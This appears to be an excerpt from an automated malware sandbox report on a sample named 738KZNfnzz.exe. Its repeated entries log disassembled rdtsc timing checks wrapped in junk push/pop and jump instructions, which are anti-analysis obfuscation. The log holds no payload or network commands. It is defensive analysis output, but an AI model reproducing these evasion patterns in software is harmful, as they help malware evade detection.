Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D4DA8B second address: D4DAAB instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F7024DCF516h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnp 00007F7024DCF518h 0x00000012 push esi 0x00000013 pop esi 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F7024DCF51Ah 0x0000001b rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D4DAAB second address: D4DAAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D4DAAF second address: D4DABB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D4DABB second address: D4DAC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jc 00007F7025350AB6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D4DAC9 second address: D4DACF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D4DACF second address: D4DAD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D4EC0E second address: D4EC13 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D4EC13 second address: D4EC19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D53E3F second address: D53E60 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7024DCF523h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jne 00007F7024DCF516h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D5351A second address: D5356B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F7025350AC7h 0x0000000a pop edi 0x0000000b pushad 0x0000000c jmp 00007F7025350AC5h 0x00000011 pushad 0x00000012 jmp 00007F7025350AC0h 0x00000017 jmp 00007F7025350ABBh 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D536B5 second address: D536BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D536BB second address: D536C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D537F6 second address: D537FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D537FA second address: D5382E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7025350AC8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F7025350AC5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D5382E second address: D5383E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F7024DCF51Bh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D5859C second address: D585A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F7025350AB6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D5FCBE second address: D5FCC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D5E7E6 second address: D5E7FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F7025350ABBh 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D5E936 second address: D5E94B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F7024DCF51Bh 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D5EA87 second address: D5EA8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D5EA8D second address: D5EA9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 pushad 0x00000007 jns 00007F7024DCF518h 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D5EA9F second address: D5EAA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D5EBDD second address: D5EBE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D5ED4D second address: D5ED57 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F7025350AB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D5ED57 second address: D5ED5C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D5ED5C second address: D5ED7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7025350AC5h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007F7025350AB6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D5ED7E second address: D5ED8D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D5ED8D second address: D5ED92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D5ED92 second address: D5ED98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D5ED98 second address: D5ED9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D5ED9C second address: D5EDA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D5F47B second address: D5F496 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F7025350AB6h 0x0000000a pop eax 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e pop esi 0x0000000f pop eax 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 jo 00007F7025350AB6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D5F496 second address: D5F49A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D5F49A second address: D5F4A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D5F4A6 second address: D5F4AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D5F4AA second address: D5F4BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7025350AC0h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D5FB2E second address: D5FB3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F7024DCF516h 0x0000000a jnc 00007F7024DCF516h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D671E0 second address: D671E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D66BE2 second address: D66BE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D66BE6 second address: D66BEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D66BEA second address: D66C11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F7024DCF516h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F7024DCF528h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D66C11 second address: D66C2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnl 00007F7025350ABEh 0x0000000b popad 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D74211 second address: D7421E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007F7024DCF522h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D7421E second address: D74224 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D75EDD second address: D75EE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D7601B second address: D76038 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F7025350AC2h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D7A79B second address: D7A7AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7024DCF51Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CA035A second address: CA0360 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CA0360 second address: CA036D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jg 00007F7024DCF516h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CA036D second address: CA0377 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F7025350AB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D7F91D second address: D7F926 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D7F926 second address: D7F952 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7025350AC7h 0x00000007 push esi 0x00000008 push esi 0x00000009 pop esi 0x0000000a pushad 0x0000000b popad 0x0000000c pop esi 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 jp 00007F7025350AB6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D929F8 second address: D92A1A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7024DCF526h 0x00000007 push eax 0x00000008 push edx 0x00000009 jno 00007F7024DCF516h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D92A1A second address: D92A1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D92A1E second address: D92A54 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7024DCF522h 0x00000007 jmp 00007F7024DCF51Ah 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jns 00007F7024DCF522h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D92A54 second address: D92A59 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D92CD1 second address: D92CFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F7024DCF529h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c jmp 00007F7024DCF51Ah 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D92CFD second address: D92D23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F7025350AC3h 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007F7025350AB6h 0x00000012 jnl 00007F7025350AB6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D92D23 second address: D92D46 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F7024DCF516h 0x00000008 jmp 00007F7024DCF51Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 ja 00007F7024DCF516h 0x00000018 pop eax 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D92D46 second address: D92D54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F7025350AB6h 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D92E66 second address: D92E6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D92E6D second address: D92E7F instructions: 0x00000000 rdtsc 0x00000002 jl 00007F7025350AB8h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c ja 00007F7025350AB6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D9316E second address: D93173 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D93173 second address: D93187 instructions: 0x00000000 rdtsc 0x00000002 js 00007F7025350ABEh 0x00000008 pushad 0x00000009 popad 0x0000000a jnc 00007F7025350AB6h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D96AE6 second address: D96AFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7024DCF525h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D96AFF second address: D96B03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D96CAA second address: D96CBC instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7024DCF516h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007F7024DCF522h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D96CBC second address: D96CC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D9864E second address: D9865D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7024DCF51Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: D9B856 second address: D9B85C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: DB3C6C second address: DB3C70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: DB6935 second address: DB693B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: DC8AA4 second address: DC8AAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: DC893E second address: DC8948 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: DC8948 second address: DC894C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: DC894C second address: DC8950 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: DCD5A6 second address: DCD5C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jl 00007F7024DCF52Ah 0x0000000d jmp 00007F7024DCF524h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: DCC3DA second address: DCC3E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: DCC3E0 second address: DCC3F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jng 00007F7024DCF516h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jns 00007F7024DCF516h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: DCC8B1 second address: DCC8B9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: DCC8B9 second address: DCC8BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: DCC8BF second address: DCC8C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: DCCE3D second address: DCCE43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: DCCE43 second address: DCCE49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: DCCE49 second address: DCCE4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: DCCE4D second address: DCCE96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edx 0x0000000a pop edx 0x0000000b jmp 00007F7025350ABEh 0x00000010 jne 00007F7025350AB6h 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b pushad 0x0000001c jbe 00007F7025350AD1h 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: DCCE96 second address: DCCE9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: DCD16F second address: DCD173 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: DCD173 second address: DCD179 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: DCD179 second address: DCD191 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F7025350ABEh 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: DCD2F9 second address: DCD309 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jno 00007F7024DCF516h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: DD0340 second address: DD0346 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: DD0346 second address: DD034A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: DD034A second address: DD0361 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F7025350ABDh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: DD2C02 second address: DD2C06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: DD2F05 second address: DD2F0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: DD2F0A second address: DD2F10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
